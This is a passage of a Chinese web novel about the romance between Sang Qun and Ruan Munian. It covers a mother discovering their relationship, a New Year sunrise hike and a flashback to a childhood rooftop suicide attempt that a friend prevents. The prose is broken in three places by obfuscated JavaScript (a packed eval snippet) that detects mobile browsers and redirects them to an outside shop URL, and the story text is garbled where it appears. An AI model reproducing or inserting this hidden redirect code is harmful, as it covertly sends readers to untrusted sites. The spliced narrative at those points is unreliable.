这也行吗,阮牧年跟上:“我字多,我娶你。” 桑群:“我吻技比你好,我娶你。” 阮牧年差点就要捂他嘴:“……我口技比你好,我娶你。” 桑群诡异地沉默了。 阮牧年也默了默,不确定地小声问他:“……不好吗?” 那天桑群都快把他喉咙捅破了,他还以为对方很喜欢呢。 桑群难得不自然地停下撩骚,目光在屏幕上长得几乎一样的舞蹈演员脸上乱瞟。 他当然知道阮牧年指的是什么,只是那种感觉……太难以启齿,也让他罕见地失控,他一直没好意思提起那件事。 阮牧年眨了眨眼睛:“你输啦?” “没,”桑群目不转睛地盯着电视看,“谁能撑到难忘今宵,谁就赢了。” 阮牧年轻哼:“那还不是轻轻松松。” 两个歌唱节目过后,阮牧年趴在他胳膊上睡得香甜。 桑群挑了挑唇角,欣然享受轻而易举的胜利。 夜色渐浓,几局切磋之后,邻居们纷纷离场,桑母收拾餐桌,也跟着看了一会儿电视,很快就开始眼皮打架。 “困就去睡吧,”桑群偏头,肩上还压着一个脑袋,声音刻意放得很轻,“我关电视。” 桑母困倦地点了点头,才走回主卧,又想起自己还没上厕所,半路折了回去。 结果就在走廊撞见了这样一幕—— 桑群凑近阮牧年耳边轻声说了什么,阮牧年似乎没听见,无意识地往他颈窝里蹭了蹭,桑群无奈地笑了一下,轻轻吻在他额心,揽过腰把人打横抱起。 刚走出客厅,就跟他妈打了个照面。 桑群:“……” 桑母:“……” 77. 77 桑群神色自若地跟亲妈对视了几秒,当着她的面先把阮牧年抱进去盖好被子,才回到门边。 桑母轻轻皱眉,心里觉得怪异又说不出哪里不对,毕竟俩孩子小时候也蛮黏糊的:“我好像提醒过你,要学会适当放手。” 长这么大了也要送晚安吻的兄弟,果然还是太亲密了。 桑群脸上没什么表情:“什么放手?” 桑母:“你的宠爱啊,要适度。” 她不由得想起了很久很久以前的事,那是桑群第一次带阮牧年回家过夜,大晚上的,小屁孩将妈妈堵在厕所里,别扭地询问哄睡技巧。 她那时觉得有趣,就将自己的经验倾囊相授,包括划手心、拍肚皮和晚安吻。 桑群学得像模像样,第二天悄悄告诉她真的很有用,他的好朋友夜里睡得很香,还会把他错认成鸡腿抱住呢。 小孩子不懂事,跟朋友亲亲抱抱也没什么。这件事她本没放在心上,时隔多年再见到相似的场景,却觉得有些不对。 桑群沉默了几秒,忽然问:“如果不是宠爱呢?” 桑母没明白他的意思:“不是宠爱是什么?” 桑群没再回答,只是用那双沉静的黑眸看着她。 夜风吹动长帘,楼外的车灯在墙上留下一闪而过的光影,短暂地照亮了桑群的面容。 桑母蓦地发现那个眼神明亮、纯洁天真的小男孩已经长大,他的眼眶轮廓变得狭长,睫毛半垂的时候,万般情绪匿于漆黑的眸底,晦涩不明。 她好像没法再轻易洞察对方的想法了。 那样的举动,不是亲人间的宠爱……会是什么? 她在心里又问了自己一遍,某个不可思议的猜测逐渐浮现。 太荒谬了,桑母不愿相信这个答案。 桑群却开口,借着夜色向她袒露心迹:“是喜爱。” 不知怎地忽起一阵疾风,将窗帘簌地掀起,泄漏进大片月光,令屋内的密谈一览无遗。 桑母撑着拐杖的手骤然抓紧,觉得自己有些站不稳:“……年年他知道吗?” 桑群抿了抿唇,承认了:“知道。” “你……”桑母一时竟不知说点什么好,“你们……” 桑群微微蹙眉,伸手上前:“你别激动。” 桑母想一拐杖锤他脑袋上,面不改色说出劲爆消息的家伙居然要她冷静,站着说话不腰疼! “想打我的话,等你腿好的吧,”桑群扶住她的肩膀拍了拍,“本来也没打算瞒你,没想到现在就被发现了。” 桑母短时间内无法消化这个消息:“你把他当童养媳?” “没有,”桑群义正严辞,“我是正儿八经追的人。” 就这小子也能追到?桑母痛彻心扉,她就说孩子不能养得太心软,像年年这样的随随便便就被人拐走了。 拐人的还是自家儿子,更心痛了。 “叫你睡觉,出来干什么,”这人贩子还敢教训她,“窗户没关,这里风大。” “你们……”桑母终于抓到了某个点,“你们这不是早恋吗?” 桑群挑了挑眉:“我们都成年了。” “那也还……” “你和桑远的恋爱纪念日不就是高三上学期第二次月考的前三天吗?”桑群理直气壮,“每年都要拿出来说一遍,好像没什么资格指责我们吧。” 桑母:“……” 她也说孩子不能养得太牙尖嘴利,不然父母的威严根本不保! “你你,”桑母绞尽脑汁,“那你待会儿岂不是要跟年年同床共枕?” 桑群没想到她思维如此活跃,不好意思地摸了摸鼻尖:“……我不会动他。” “不行不行,”桑母连忙摇头,“你今晚跟我睡!” 幼儿园开始就因为父母□□爱惨遭分配儿童房的桑群一阵无语:“你没事吧,我又不是什么禽兽。” 桑母一脸不信。 桑群开始胡言乱语:“……我跟你睡,年年吃醋怎么办?” 桑母目瞪口呆,感觉自己向来成熟稳重的儿子像是被人夺舍了:“你已经能这么心无负担地编排你妈了?” “他现在每天都睡得好好的,”桑群无奈,“因为你,我还得哄人。” 桑母:“……” 一股酸臭味,呕。 单身人士听不得这些,她扇着鼻子扭头就走,连上厕所的心思都没了。 桑群站在原地目送她钻进门内,不自觉绷紧的身体终于放松下来,手指微曲,掌心里一片冷汗。 他关好阳台的落地窗,检查了一遍电器,才回到自己的卧室里。 幽暗的室内,床铺上有一小团起伏,他的年年缩在那里睡得正香。 又睡成虾条,桑群轻手轻脚上床,掰过他的胳膊,抱进怀里,梦里的阮牧年自动将他识别成玩偶,手脚并用抱紧。 他的手搭在对方背上,一下下轻拍着,垂下的眸光一片温柔。 自己的失眠是心病,这些年的放养加重了入睡困难,他其实早有察觉,上学期阮牧年的食谱和茶水谱里,都在尽力帮他调节。 可阮牧年缩成一团的睡姿,却是从小到大缺乏安全感的表现。 他在很小的时候也会睡不着,会在漆黑的夜晚思念父母,在冷冰冰的杂物间地板上想念主卧柔软的被褥。 一开始抱玩偶,后来抱桑群,其实拥抱的对象从来不是解药,缺席多年的陪伴才是。 孤独是难以治愈的陈年顽疾,哪怕他早已不再渴望父母的陪伴,梦里下意识弯曲的脊背却替他记得过往的一切苦涩。 阮牧年没有入睡困难,却好像时常会半夜醒来。桑群原本并不知道这件事,只是某次实在睡不着,闭着眼睛数绵羊的时候,感觉有人来到了自己的床边。 原来阮牧年会在夜里握住他泛凉的手,陪他度过那些令人心慌的噩梦。 而那一次,阮牧年默默暖着他的手,在离开前轻声说了一句:“快睡吧。” 桑群数了半个晚上的绵羊卡住,好一会儿也没想起下一个数字是什么。 不知道今天晚上,牧羊犬会不会醒来,桑群抱着他阖上眼,开始为他准备绵羊。 然而今晚谁也没有醒来,清醒是人们对抗未知和恐惧的防卫方式,如若能够相拥着一夜好眠,未尝不是某种幸运。 初一清晨,桑母自然醒来,昨晚虽然没睡好,但除夕夜确实累人,最后还是睡着了。 春节期间,前几天基本都在走访亲戚。第一天的习俗是回夫家拜访,只是桑远那边的亲戚已久未联系,桑母乐得自在给自己放了一天假。 悠闲地热了牛奶,给买好的吐司淋上果酱,她瞥了眼孩子们的卧室,门还紧关着,看来睡得正香。 准备去沙发上做点手工,玄关的门铃忽然响起。 这个日子谁会来拜访? 桑母叼着吐司挪到大门前,挂着防盗链开门,神色一怔。 门外,左右手各拎两大袋的访客冲她微笑,客气地打了声招呼:“早上好,今女士。” 桑母连忙伸手接了一下吐司:“小田?你怎么来了……哎呀,怎么还带这么多东西,大过年的破什么费,我可不收啊。” 田女士还没开口就惨遭拒绝,大概是习惯拜访时送礼,弟妹一家从未拒绝过,此刻她有些不知所措。 “只是一点心意……”田女士想着说辞,“牧年住在你家肯定麻烦了你们很多,我……” “瞧你这话说的,干妈会嫌儿子麻烦吗?”桑母连连摆手,“你先进来吧,外面怪冷的,东西放柜子上就行……不过你要做好心理准备,最后可能还是得拿回去。” 田女士有些局促地在沙发上落座,早便听闻桑群家破产,家境窘迫,却没想到屋里并不寒酸,反而收拾得很喜庆,摆件也温馨。 桑母挪回沙发上:“吃过早饭没?” “吃过了,”田女士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356355|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐得端正,“你这腿……怎么回事啊?” “哦,没事,就是不小心台阶上摔了一下,”桑母不甚在意地拍了拍石膏,“绑得吓人,其实早就不痛了,你晚来几天说不定都拆了。” 田女士抿着唇笑了笑:“没事就好。” “倒是你,”桑母问,“初一怎么不去走亲戚?” 田女士愣了愣:“初一……需要拜访什么亲戚吗?” “嗯?你不知道吗?”桑母疑惑,“你是外地人?” “啊是的,”田女士表情有些难堪,“我和……牧年他爸当年是私奔过来的,在这边也没几个亲戚。” 父母早已与她断绝关系,血缘最近的弟弟一家是她为数不多的亲人,因此当年十分放心将孩子托付给他们。 “私奔?好刺激,”桑母很快支走了话题,“看来大家年轻的时候都很开放啊,我跟我先生当年还是早恋呢。” 好像都挺不光彩的,田女士不知道怎么夸:“那……挺好的。” “好什么啊,缺点全让小孩学去了,”桑母恨铁不成钢地摇头,“那你现在的先生呢?也是外地的?” “是,而且他们家比较自由,父母也都在本市,”田女士点头,“我们前几天拜访过了。我弟弟他们今年出门旅游,牧年一个人我还是不放心,所以过来看看。” “不用担心,有我儿子在呢,孩子们的感情总比大人们好,”桑母笑说,“今天有什么计划,就是过来看两眼吗?” “没什么计划,暂时是这样的。” “你这样会显得太公事公办,这可不是什么好习惯,”桑母告诉她,“留下来跟我们一块儿吃个饭吧。” “吃饭?”田女士显然没有预料,“我……这样会不会太打扰了一些……” “你太拘谨了,这样反而很难跟孩子亲近起来,”桑母问,“你们上次吃饭是什么时候?” “嗯……之前国庆……” 听完她的描述,桑母直摇头:“两个大人,那么正式的场合,孩子吃饭能自在吗?今天你就听我的,在家里吃顿家常饭,让年年多给你炒几个菜……哦对了,你吃过年年做的饭菜吗?连我家那挑嘴小子都赞不绝口呢,趁今天这机会好好尝尝!” 就这样被热情地安排了,田女士还有些没跟上:“啊,牧年他很会做饭……” “是啊。对了,你这称呼也得改改,”桑母又说,“毕竟是亲生妈妈,怎么能跟孩子生疏了呢?到时候你在饭桌上多跟年年交流几句,吃过饭再自然地将称呼改成‘年年’……” 桑母的育儿经滔滔不绝,令人怀疑她不是美术设计出身,是某育儿专家退隐。 田女士茅塞顿开,频频点头,三言两语就被深深说服。 时间也差不多了,孩子们还没动静,桑母起身:“昨晚也没熬夜,真是放了假就瞌睡虫上身。我去叫他们。” 田女士看她行动不便,也连忙起身:“我来帮忙开门。” 毕竟是客人,她开了门就站在门口,没有进去也没有贸然张望。 倒是桑母看了眼卧室,眉头一点点蹙起。 “奇怪,人呢?”她确信自己并没有看见两个人出门,在卧室里走了一圈,“大清早的跑哪儿去了?” 田女士在外面问:“不在房间里吗?” 书桌上压着一张纸条,桑母拿起来一看,是桑群那蛇行字。 【出门爬山,中午回去。】 【桑桑年年留】 什么桑桑年年,桑母看得一阵牙疼,这小情侣味儿也忒浓了点。 “俩孩子溜出门了,也不提前跟我说一声,”桑母摇着头出来,“真是不省心。” “不用联系一下吗?”田女士担忧地问。 “不用,我大概知道他们去哪里了,”桑母摆手,“不得不说有其父必有其子……咳,对了,有一点我要纠正一下,这个放养教育呢,也包括给孩子们留出不受打扰的私人空间……” 78. 78 凌晨四点,海棠花未眠,桑群亦未寝。 ……准确来说,应该是被吵醒的。 枕头底下的震动没能叫醒他,被子猛地掀飞后灌进来的冷风没能叫醒他,阮牧年毛茸茸的脑袋蹭在他脖子上的时候,他多希望自己没被叫醒。 “起床啦起床啦,桑桑……”阮牧年贴着他骚扰,“已经四点了,再不走就来不及了……” “天七点才亮……”桑群有气无力地翻身,企图远离他,“再睡会儿……” “嗯?不是五点吗。哦,现在是冬令时,”阮牧年扑到他身上,抱着他的后背蹭,“那上山也要时间呀,早点去总没错嘛。是你说要带我去看日出的,走啦走啦。” 清晨是桑群最讨厌阮牧年的时候,现在可以加入一个凌晨了。 不,只要是被吵醒就都很讨厌。 满肚子火发不出来,桑群刷牙的时候很想就这么不卫生地凑过去,给他来一个牙膏味儿的湿吻,恶心死他。 ……刚一幻想就被自己恶心到了,桑群连忙吐掉泡沫,心有余悸。 “要吃早餐再走嘛?我看桌上有吐司。”阮牧年在外面问。 “不用,”终于洗漱好,桑群耷拉着眼皮游回卧室,“那边有吃的。” 阮牧年跟在他屁股后面:“衣服我帮你挑好了,里面是同款的毛衣,外套都很暖和,对了对了,围巾和手套不能忘记带……” 桑群半死不活地哦了一声。 看他套好毛衣,阮牧年走过去给他拢外套:“打起精神来,这可是我们第一次约会啊。” 桑群:“哦。” 其实他后悔了,他宁愿把时间定在除早上以外的任何时候。 天黑漆漆的,两个人武装齐全地走出家门。 “好冷好冷呀,”阮牧年缩了缩脖子,把手塞进桑群口袋,“这样好多了。” 明明手比他暖和多了,桑群没有戳破对方的心思,给他讲路线:“坐501到最后一站,转42路去山脚下,然后开始爬山,山顶有早餐店营业,到时候可以在店里休息一会儿……” “明白啦,桑桑导游,”阮牧年将掌心里攥的硬币递给他,“这就出发!” 念旧的家伙,桑群抓好硬币,又在心里哂笑了一声,自己何尝不是呢? 初一看日出是从桑远那里学来的浪漫技巧,来源于他春节一大早爬起来,却满屋子找不到爸爸妈妈的童年绝望。 还以为自己也要变成没父母要的小孩了,好在夫妻俩十点多就回来,看着家里涕泪横流的儿子捧腹大笑。 因此这次出门,桑群刻意将动过的物件摆回原位,卧室门也关得严实,字条留在书桌上,算是小小报复一下当年不把儿子当人看的罪魁祸首之一。 日出有什么好看的呢?桑群不知道,也没见过,不过两个人抛弃小孩也要上山看一眼,估计还是有可看之处的,遂果断拉上年年去尝试。 天光昏暗,路面都看不清楚,阮牧年还得拿着手电,走到一半就忍不住打了个寒颤:“这也太黑了。” 桑群跟在他落后两步的位置:“据说以前是墓地,说不定有鬼魂飘荡呢。” 阮牧年瞬间不敢走了:“你、你别吓我!” “年年,你怎么还在后面?”桑群在他身后喊,“快跟上。” 前面是一片看不穿的漆黑,身后却传来要他往前走的声音,阮牧年抓着手机手脚僵硬,血流缓慢,想回头又不敢回头。 真好玩。惹他不爽的人都被报复了一遍,桑群心情愉悦,慢步接近,抬手想要安慰下对方。 没想到阮牧年一下子就蹦起来,猛地后退好几步:“谁谁谁、谁,是谁?!” 这也太好吓了,桑群清了清嗓子:“是我啊年年,你看不见我吗?” 阮牧年跟他大眼瞪小眼:“我我我、我看得见你啊!” 桑群当着他的面说:“那你为什么不转头?我一直在你身后啊。” “桑桑桑、桑群,你真的不要吓我,”阮牧年瘪着嘴,手指颤抖得连手电都打不稳,“我、我……呜。” 糟了,玩脱了。桑群连忙收起阴森的表情,上前抱住他,用力搓了搓:“胆小鬼,不怕了不怕了,嗯?” 阮牧年虚弱地趴在他怀里:“不要说那个字……” “呃,我就是随便说说,”桑群说,“吓唬你的。” “你说这里以前是那什么地……” “骗你的。” “真的没有鬼魂吗?” “没有,鬼魂又不来人间。” “我们牵手走吧,你不要站在我背后了。” “站在你前面呢?” “也不要!” 好吧,看来只能跟连体婴一样前进了,不过晨风微凉的山间,这样的姿势还挺暖和。 “这山有多高啊?”走了一段,阮牧年偏头问。 “不知道。”桑群说。 “你没查过攻略吗?”阮牧年惊讶。 “随心来,没那么多讲究。”桑群说。 “那为什么是这座山呢?”阮牧年越过石阶,跳着躲开一块青苔,“有什么特别之处吗?” “嗯……”桑群抓着他的手思索片刻,“大概是,定情胜地吧。” 阮牧年差点踩空:“啊?” 桑群煞有其事说:“一起看过新年第一轮日出的人,会在一起很久很久。” “保真吗?” 桑群顿了一下:“……不保真。” “诶?” “至少心诚则灵,”桑群大跨一步,转身用力拉了他一把,“快走,年年,去当第一个看太阳的人。” “我们两个人,谁是第一个?” “都是。” “第一怎么能并列呢?” “那我是。” “凭什么啊?” “我年纪比你小,自然先看见新年的太阳了。” “这也太耍赖了。不行,比比谁先到山顶吧。” “嗯?你不怕鬼了?喂,阮牧年!” 好胜王一把挣掉他的手,快步爬上去,背对着他挥了挥右手:“山顶见,桑桑!” “你先看见行了吧?”桑群赶紧认输,加快步子追赶他,“你慢点,别摔了!” “昨晚的比赛还没分出胜负呢,”阮牧年大声说,“我没有看见你撑到十二点哦,所以不算数。今天继续比赛!最先到山顶的人有下聘礼的资格!” 嘿?桑群立刻放弃叫住他,三步并作两步上台阶:“那你输定了。” 阮牧年:“乾坤未定,但你可以先想好要什么。” “口气不小?” “我没有口气哦,嘻嘻。” “多笑一笑,待会儿有你哭的。” “我出门忘带纸巾啦,桑桑你可不要哭鼻子哦。” …… 这座没有名字的山说高不高,说低也不低,大概几百米的海拔,闷头苦爬最快也得四五十分钟。 两个较起劲的少年谁也不愿服输,一路拌着嘴爬上去,连水都没空喝,生怕耽误几秒就惜败。 最后的一段山路,两人跑出百米冲刺的速度。 尘石从鞋底滚落,路边绿植轻晃,天光未亮的世界蒙着淡淡的灰,却有两双更加漆黑也更加透亮的眼眸散发着无法熄灭的光芒。 “停——!” 两人的身形同时止住,脚后跟正好超过最后一层台阶的边缘。 阮牧年向下一瞥:“我鞋头超过你5毫米,我赢了。” 桑群身体前倾,右手停在摆动的最高处:“身位多你三分之一,手也前面,我赢了。” 阮牧年不服:“我的脚先落地。” “没看见,”桑群拒不承认,“我先停下。” “那我也没看见。”阮牧年拒不承认+1。 “……” “……” 两人维持着停下时的姿势,形状各异地互瞪对峙。 山顶散步的大爷路过,稀罕道:“哟,这个年纪还玩木头人?带我一个。” 大爷站到两人旁边,摆出一个秀肱二头肌的英武雄姿。 阮牧年向他发问:“您觉得我和他谁先到达山顶?” 大爷岿然不动,致力于扮演木头人的精髓,眼睛瞪得像铜铃。 桑群无语:“……我们没在玩木头人。” 大爷眼中闪过失望,这才放下胳膊回答他们:“……谁先到很重要吗?” 阮牧年坚定:“很重要。” 桑群认同:“关乎尊严。” 大爷莫名其妙地看了他们两眼,嘟囔着“年轻人玩得真花”,背着手摇摇晃晃走了。 两人还顿在原地。 桑群:“……我们还要这样站多久,很丢人。” 阮牧年:“呃,好吧,可以动了。” 他收起僵在空中的手臂,甩了甩。 桑群看了一眼他的脚,分毫未移,最后的倔强呢。 跟个傻子似的,桑群没兴趣陪他玩这种无聊的游戏,站好假装自己从未僵立过。 桑群并脚的同时,阮牧年才重新站好:“这次是我赢了哦,昨晚算你赢,打平了。” 桑群:“……” 这时候又承认昨晚的比赛结果了,标准真灵活。 他抬手拍了拍阮牧年机灵的小脑瓜,拉上他:“走了,去吃饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人对视一眼,桑群道:“亭子风小,不容易着凉。” “等晚一点,去亭子的人肯定很多,”阮牧年也有道理,“我们怎么说悄悄话呢?” 啧,行吧,桑群掏出纸巾,在阮牧年坐下之前先做了遍清洁工作。 “石头怎么擦也不会干净的吧……”阮牧年在旁边煞风景。 “你闭嘴。”桑群擦完又掏出一张纸,展开铺在石面上。 这下可以坐了,阮牧年挨着桑群坐下来,跟他靠在一起。 “真冷呀,”他摘下手套,露出冻红的指尖,拿给桑群看,“明明吃完饭还很暖和,一出来又冷透了。” 桑群拢着他的手放在唇边,给他吹热气,然后合掌压了压,重新塞回手套里。 阮牧年反抓住他的手:“我也给你暖暖。” “我又不冷。”桑群说。 “你是感觉不到冷。”阮牧年道。 怎么可能。直到手套摘掉,里面的手指比阮牧年还红,桑群闭上嘴。 啧。 “怎么这么脆弱呀,桑桑。”阮牧年轻轻搓着他的手,哈气还不够,居然一口咬了上去。 “唔,”桑群缩了一下手指,“你干什么?” 阮牧年从低处仰望他的时候,双眼总是不自觉地睁大,眼皮折成一条漂亮的弧线,长睫翘起,眸里好像会发光。 而他就这样轻轻叼着桑群的手指,松嘴的时候,双唇很软地弹了一下。 桑群垂眸看着他,手指湿湿的,很想摸他。 半晌,阮牧年歪头笑了:“桑桑,你是不是喜欢我这样看着你?” 桑群没明白他的意思:“什么?” “让人很有破坏欲吧。”阮牧年说。 “说什么呢,”桑群连忙缩回手,用另一只手捏了捏他的脸颊,“把我说得像变态一样。” “可我会这样啊,”阮牧年看着他轻声说,“我喜欢看你露出那样的表情,脆弱、无助,特别可怜的样子……原来我才是变态吗?” 桑群默了默:“什么时候?” “很多时候,”阮牧年告诉他,“你那天很舒服的时候,又或者很久很久以前,你跪在地上哭的时候,当然,我记得最清楚的,是你躺在地上看我那一次。” “那时候我想,我的桑桑碎在地上了,”阮牧年不知何时扣住了他的指尖,挤进缝里越抓越紧,“真想把他带回家拼起来,变成我的,谁也别想再碰他。” 明明隔着手套,阮牧年的体温却能传递过来,温温的,软软的,还带着一股直击心弦的悸动。 昏暗天光下,遥远的店铺灯光只能映亮眼前人的侧颊,那双清透的眼睛藏在阴影里,浓稠到几乎要将人淹没。 指尖相扣,那目光仿佛拥紧了他,桑群品味着阮牧年对他有些窒息的在乎,又想起了自己曾经见过的那个眼神。 那或许是他这辈子在阮牧年面前最狼狈的时候。 79. 79 家里发生变故后,桑群第一次回到学校上学,就遭到了受害者们的围堵。 平日里因为父母间有来往而聊得亲近的同学们一夜间对他怒目而视,厌恶如同漆黑的海水从那一双双眼睛里流出来。 时隔经年,当年恶意孤立他的同学们用了什么语调、说了什么字眼,早已模糊不清。可那股从皮肤每一处钻进去的冷意却始终埋藏在心底,一旦回想,就会激起一片鸡皮疙瘩。 他依然无法忘记那时几乎无处不在的仇视和针对,童年的恐惧是长在心脏内壁的霉斑,从外面看不出来,遇到潮湿的天气,就会阵阵难受。 更小的时候,他会理直气壮地说“没做错事情,就不需要道歉”,说“做错事情的人不敢承认错误,应该被狠狠地揍一顿”,可当角色置换到自己身上,是非对错并非黑白分明,自幼接受的理念与道德相冲突,让他不知如何是好。 他没有做错任何事,本不该道歉,可其他人的惨剧皆来自于他家,害得别人受苦的人,难道不就是坏人吗? 至此,他失去了理直气壮的底气,无法再抬起头来。 更有甚时,某位脾气暴躁的同学差点跟他动起手来。 有时候桑群会想,如果那只拳头真的落到自己身上就好了,如果“差点”没有发生就好了。 被人打一顿,也许会消解他内心的负罪感,可偏偏有个不会看脸色的家伙跳出来,拦在他和那个同学中间。 用了多大的勇气,才会发出这么响亮清晰的声音啊?那时的桑群靠在墙上,看着阮牧年瘦弱的背影想。 第一次尝试主动与人社交的阮牧年表现得其实很糟糕,身板站不直,手指不自在地揪着袖口揉捏,说话也断断续续的,像那种电视剧里刚出场就被主角一脚踹到角落里的跑龙套。 可就是这样的阮牧年,竟真帮他引走了那些针对他的同学。 当时的桑群想不通这其中关节,只知道他最好的朋友跟讨厌他的人走在一起,一步步远离了他。 孩子的伤感总是来势汹汹,如同一条奔流到海不复回的湍河。 他人的敌对、好友的离开,还有母亲日渐疲惫的模样,化作水流一点一点滴进他心里的那条河,直至声势浩大。 那点他说不出口的郁闷逐渐变成了如影随形的窒息感,河水已经漫出,从内向外要淹没他。 最后,桑群爬上了学校教学楼的天台。 父亲留下的最后一句话在他脑海中越来越响亮,他扶上天台栏杆,俯视着底下小小的景物,第无数次迷茫地发问。 如果没有他,大家是不是会过得更好? 妈妈不会再因为他而操心多出来的学费、食宿费,同学们不会再因为他而无法展露笑容,老师不会再因为他而怒发冲冠,年年也不会再因为他而强迫自己去做不想做的事情…… 果然啊,他真的是坏人,应该对所有人道歉。 跳下去吧,像爸爸做的那样,不要再给别人带来不幸了。 跳下去吧,这样才能缓解内心的痛苦。 跳下去吧…… 有一道声音在心里不停地游说他,桑群抬起脚,离平台边缘只有一步之遥。 却有另一道清脆的声音颤抖着破开风流,直抵耳畔。 “不要!” 桑群回过头,看清了来人的脸庞。 阮牧年跟他隔着半个天台,想靠近又不敢靠近,双手徒然地伸在半空,眼尾已经红起来。 真是不小心啊,他在心里自嘲着,可以避开幼儿园保安独自逮捕黄帽犯人的阿君羊,居然也会有被人跟踪的一天。 “你怎么跟过来了,”桑群低着嗓音说,“我们已经不是朋友了。” 拥有更多新朋友的年年,应该跟他这个讨厌鬼保持距离才是。 阮牧年却告诉他:“你一直都是我最好最好的朋友啊!阿君羊,他们讨厌你,会伤害到你,所以我必须靠近他们,把他们从你身边带走,这样才能保护好你啊!” 桑群悲伤地问:“你不是已经跟他们成为朋友了吗?” 阮牧年摇头,几乎下一秒就要流下眼泪:“不是的,不是这样的……只有阿君羊是年年的朋友,唯一的朋友。” 唯一的分量,对小孩子来说很重很重,仅此一人是最深沉的承诺。 桑群这才发现,其实他的小腿一直在颤抖。原来他害怕天台的高度,害怕跳下去可能经受的疼痛,原来他不是活不下去了,也不是被抛弃得心灰意冷,他只是一个人伤心太久太久,那些无法流出的泪水才会在心里汇成河,一点点淹没他。 在他放松警惕的时候,阮牧年骤然冲过来,一把抱住他,勒得死紧。 “不要跳下去……求求你,不要……”阮牧年抱着他痛哭出声,“阿君羊哥哥,就当是为了年年,不要跳下去……” 两个人都站不稳,桑群半跪在地上,方才还紧按栏杆的手掌微微发麻。 他感觉到脸上有一股热热的东西,一开始还以为是阮牧年的眼泪,最后却发现,那是他自己的泪水。 原来这双眼睛还会哭,原来世界上根本没有什么勇士,他也只是一个怕高怕痛的胆小鬼。 桑群跪坐在地上,被另一个小哭包紧紧抱着,任由那条悲伤的河流从眼角淌出。 好难受,明明活着是这样痛苦的事情,为什么大家还要咬着牙坚持下去? 他找不到答案,他的小脑瓜也无法思考这么深奥的问题,但他忽然发现,或许每一个被留在人间的人都是痛苦的。 自己抛下妈妈和年年跑掉的话,他们也会一样痛苦。为了不让重视的人难过,他必须打起精神,消化掉那些悲伤。 他的思绪总是飘忽不定,偶尔认为自己应该活下去,偶尔又觉得跳下去才是解脱。 只有阮牧年的拥抱能给他踏实感,只有被那双白白嫩嫩的小手用力抱住的时候,他才感觉自己是站在地上的,并没有像气球一样飘走。 那个跟踪他上天台的家伙,擅自决定了他们的未来。 年年会帮阿君羊支开那些不怀好意的家伙,可能会因此疏离阿君羊,但年年永远是阿君羊最好最好的朋友。 相应的,阿君羊必须要好好地生活下去,好好吃饭、好好睡觉,绝对绝对不能再来危险的地方,年年会一直担心着阿君羊,阿君羊也永远是年年最好最好的朋友。 桑群问他,食言的话该怎么办? 阮牧年红着眼睛告诉他,阿君羊如果敢伤害自己,年年也会做出一样的事情。 桑群却问,如果是年年食言了呢? 阮牧年哭得更凶了,他抓着桑群不肯放手,一遍又一遍地说自己绝对不会食言,最后决定将自己的小拇指割下来,当作立誓的信物。 本来心里难过的桑群被他吓了一跳,赶紧拒绝这个血腥的提案,同意拉钩许诺,但禁止割手指。 阮牧年向他许诺,如果有一天年年背弃了阿君羊,阿君羊就拿走年年的手指吧,一只手也行,一条胳膊也可以,整个人都绑走最好。 净说些吓人的话,桑群跟着他哭过一场,心里其实放松了很多,并没有在意这些话。 可随着时间推移,他渐渐意识到那个誓言是必要的。 因为常年周旋于同学间的阮牧年已经变成了年段里赫赫有名的好学生,阳光开朗,品学兼优,人缘也好,他们之间的距离好像越来越远。 某次在校门口遇见,他刚跟阮牧年对上视线,对方就被一堆不认识的人围住,说说笑笑起来。 桑群早就认清自己是胆小鬼的事实,现在又确认了自己也会没有安全感。 看着阮牧年脸上与自己毫不相干的笑容,他必须要不断回想那个誓言,回想跟阮牧年拥抱的感觉,回想那根原本要许诺给他的尾指,然后告诉自己,阮牧年是他唯一的朋友。 他也是阮牧年唯一的朋友。 ……是吗? 都说童言无忌,那个软弱的年年早已消失,也无需他的庇护,也许某一天,习惯谈笑风生的阮牧年会用陌生的微笑看着他,淡淡地说出一句:“抱歉,我不能做你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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或许人和人之间就是这样吧,他有时会这样开导自己,小时候亲密无间的兄弟长大后慢慢疏离也是常有的事,就这样跟阮牧年渐渐拉开距离,也挺好的,时间一长就感觉不到悲伤了。 心脏特别痛的话,就努力去忽略它吧。用辛苦,用忙碌,用更长更多的岁月,把那份来自童年的渴望深深掩埋起来。 他已经长大了,也知道生命可贵,不会再冲动轻生。生活中有着更重要的目标,为了一个不知道还算不算得上是朋友的人伤心,他没有这个时间。 那三个月的时光,又漫长又转瞬即逝,他努力让自己变得麻木,用兼职填满生活中可能发呆的空隙,在疲惫的时候无意识地揉捏小拇指,然后一遍遍地告诉自己专注眼前的事。 那也是他风评变得最差的一段日子。年段里的逃课大王,老师们只会看着他摇头,同学们也对他冷漠的神情避之不及。 无所谓,更恶毒的孤立他也经历过,不过是忽略一群陌生人而已,没什么好在乎的。 直到那个下午,黄昏将没,他在狭窄的巷子里遇见了讨债的人,被他们追出几条街。 那些棍棒和拳脚,他可以躲开,也可以反过来揍翻他们。可债款是高悬的审判之剑,这些人是他们一家经济的主宰,他不能反抗。 乱局是如何收尾的,他已经记不清了。向来爱干净的人衣衫不整地躺在地上,他看着天光渐暗的苍穹,觉得自己又可笑又可怜。 不知道过了多久,远处传来脚步声。 似乎是一群路过的学生,聊得很火热,朝气蓬勃的样子。 桑群闭了闭眼,又忽然睁开眼。 狭小的巷口,灰暗的墙砖边,残余的晖光落在那个站在人群中央的人身上,映亮他带笑的眼角。 他就这样看见了从巷口路过的阮牧年。 本该逃跑的,他却在那一刻失去了所有力气,无计可施地躺在地上。 他想,原来自己还是有在乎的事物啊。 